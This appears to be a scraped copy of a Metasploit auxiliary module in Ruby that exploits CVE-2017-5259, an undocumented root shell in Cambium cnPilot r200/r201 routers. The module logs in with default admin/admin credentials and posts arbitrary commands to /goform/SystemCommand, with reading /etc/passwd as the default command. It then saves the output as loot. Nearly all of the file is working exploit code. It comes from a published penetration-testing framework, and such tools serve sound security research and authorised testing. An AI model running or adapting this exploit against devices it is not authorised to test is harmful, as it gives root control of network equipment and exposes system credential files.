Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/cnpilot_r_cmd_exec.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::CNPILOT78def initialize(info = {})9super(10update_info(11info,12'Name' => "Cambium cnPilot r200/r201 Command Execution as 'root'",13'Description' => %q{14Cambium cnPilot r200/r201 device software versions 4.2.3-R4 to154.3.3-R4, contain an undocumented, backdoor 'root' shell. This shell is16accessible via a specific url, to any authenticated user. The module uses this17shell to execute arbitrary system commands as 'root'.18},19'Author' => [20'Karn Ganeshen <KarnGaneshen[at]gmail.com>'21],22'References' => [23['CVE', '2017-5259'],24['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']25],26'License' => MSF_LICENSE27)28)2930register_options(31[32OptInt.new('TIMEOUT', [true, 'HTTP connection timeout', 10]),33Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.34OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),35OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'admin']),36OptString.new('CMD', [true, 'Command(s) to run', 'cat /etc/passwd'])37], self.class38)3940deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')41end4243def run_host(_ip)44unless is_app_cnpilot?45return46end47end4849# command execution happens here5051def cmd_exec_run(the_cookie)52# Verify backdoor 'root' shell url exists53root_shell = (ssl ? 'https' : 'http').to_s + '://' + "#{rhost}:#{rport}" + '/adm/syscmd.asp'54print_status("#{rhost}:#{rport} - Checking backdoor 'root' shell...")5556res = send_request_cgi(57{58'uri' => '/adm/syscmd.asp',59'method' => 'GET',60'cookie' => the_cookie,61'headers' => {62'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'63}64}65)6667# Now POST the command68if res && res.code == 20069uri1 = '/goform/SystemCommand'70inject_cmd = datastore['CMD']71print_good("#{rhost}:#{rport} - You can access the 'root' shell at: #{root_shell}")72print_good("#{rhost}:#{rport} - Executing command - #{inject_cmd}")7374send_request_cgi(75{76'uri' => uri1,77'method' => 'POST',78'cookie' => the_cookie,79'headers' => {80'Accept' => '*/*',81'Accept-Language' => 'en-US,en;q=0.5',82'Accept-Encoding' => 'gzip, deflate',83'Connection' => 'keep-alive'84},85'vars_post' =>86{87'command' => inject_cmd,88'SystemCommandSubmit' => 'Apply'89}90}91)9293# Results are populated in the first url, so GET it once more94res = send_request_cgi(95{96'uri' => '/adm/syscmd.asp',97'method' => 'GET',98'cookie' => the_cookie,99'headers' => {100'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'101}102}103)104105html = Nokogiri::HTML(res.body)106search_result = html.search('textarea').text107108if search_result.nil?109print_status('Command run did not return any results or invalid command. Note that cnPilot devices only have a restricted *nix command-set.')110else111print_good(search_result.to_s)112113# w00t we got l00t114loot_name = 'cmd-exec-log'115loot_type = 'text/plain'116loot_desc = 'Cambium cnPilot CMD Exec Results'117data = search_result.to_s118p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)119print_good("File saved in: #{p}")120end121else122print_error("#{rhost}:#{rport} - Backdoor 'root' shell not found. Affected versions are - v4.2.3-R4 and newer. You can try to verify the shell at #{root_shell}")123return124end125end126127#128# Login & initiate cmd_exec_run129#130131def run_login132cookie, cnpilot_version = do_login(datastore['USERNAME'], datastore['PASSWORD'])133if cookie == 'skip' && cnpilot_version == 'skip'134return135elsif ['4.2.3-R4', '4.3.1-R1', '4.3.2-R4', '4.3.3-R4'].include?(cnpilot_version.to_s)136cmd_exec_run(cookie)137else138vprint_error("#{rhost}:#{rport} - This software version is not vulnerable. Affected versions are - v4.2.3-R4 and newer.")139end140end141end142143144